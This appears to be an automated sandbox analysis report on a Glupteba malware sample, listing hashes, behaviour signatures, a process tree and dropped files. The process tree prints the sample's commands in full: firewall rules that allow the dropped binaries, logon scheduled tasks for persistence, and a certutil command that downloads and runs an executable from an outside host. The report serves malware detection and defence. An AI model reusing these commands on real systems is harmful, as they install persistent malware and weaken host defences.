Analysis

  • max time kernel
    148s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    24-09-2024 11:42

General

  • Target

    f3903a3940def5ce57ce2c76c25e0265_JaffaCakes118.exe

  • Size

    3.8MB

  • MD5

    f3903a3940def5ce57ce2c76c25e0265

  • SHA1

    88fe066b99c825b8627ae0ca641aa2089930bdc5

  • SHA256

    00031305f74d31f37c9d7edee800f37ca0f097d92c545c73f05418c8a66c3163

  • SHA512

    8eef164d6853bb8e9a8abe7fd66d701e880f6607b79b198e159aa6e7b6d9c9ac98d85bd8c783af219cd180fc299534bd3f4a8837f551abfeb213b75ca274e8c7

  • SSDEEP

    98304:Y2A1iTXjFKZnSt7VnNt9L13bk7Ik/IW9ifAZH+OkWss0t6Br:bj9txndLhbKIiIKMAZHwKq6B

Malware Config

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba payload 21 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 1 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Windows directory 2 IoCs
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies data under HKEY_USERS 64 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\f3903a3940def5ce57ce2c76c25e0265_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\f3903a3940def5ce57ce2c76c25e0265_JaffaCakes118.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3168
    • C:\Users\Admin\AppData\Local\Temp\f3903a3940def5ce57ce2c76c25e0265_JaffaCakes118.exe
      "C:\Users\Admin\AppData\Local\Temp\f3903a3940def5ce57ce2c76c25e0265_JaffaCakes118.exe"
      2⤵
      • Adds Run key to start application
      • Checks for VirtualBox DLLs, possible anti-VM trick
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3132
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4540
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3992
      • C:\Windows\system32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\db57d5e127d4\db57d5e127d4\db57d5e127d4.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3232
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="CloudNet" dir=in action=allow program="C:\Users\Admin\AppData\Roaming\db57d5e127d4\db57d5e127d4\db57d5e127d4.exe" enable=yes
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4696
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Executes dropped EXE
        • Manipulates WinMonFS driver.
        • System Location Discovery: System Language Discovery
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:4316
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:8
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://hotbooks.tech/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:2860
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          PID:3188
        • C:\Windows\system32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe

    Filesize

    1.7MB

    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe

    Filesize

    3.8MB

    MD5

    f3903a3940def5ce57ce2c76c25e0265

    SHA1

    88fe066b99c825b8627ae0ca641aa2089930bdc5

    SHA256

    00031305f74d31f37c9d7edee800f37ca0f097d92c545c73f05418c8a66c3163

    SHA512

    8eef164d6853bb8e9a8abe7fd66d701e880f6607b79b198e159aa6e7b6d9c9ac98d85bd8c783af219cd180fc299534bd3f4a8837f551abfeb213b75ca274e8c7

  • memory/3132-8-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/3132-9-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/3132-16-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/3168-1-0x0000000003830000-0x0000000003BDD000-memory.dmp

    Filesize

    3.7MB

  • memory/3168-2-0x0000000003BE0000-0x00000000042D6000-memory.dmp

    Filesize

    7.0MB

  • memory/3168-3-0x0000000000400000-0x0000000000B10000-memory.dmp

    Filesize

    7.1MB

  • memory/3168-4-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/3168-6-0x0000000000400000-0x0000000000B10000-memory.dmp

    Filesize

    7.1MB

  • memory/3168-5-0x0000000003BE0000-0x00000000042D6000-memory.dmp

    Filesize

    7.0MB

  • memory/4316-21-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-27-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-22-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-23-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-24-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-25-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-26-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-20-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-28-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-29-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-30-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-31-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-32-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB

  • memory/4316-33-0x0000000000400000-0x000000000313B000-memory.dmp

    Filesize

    45.2MB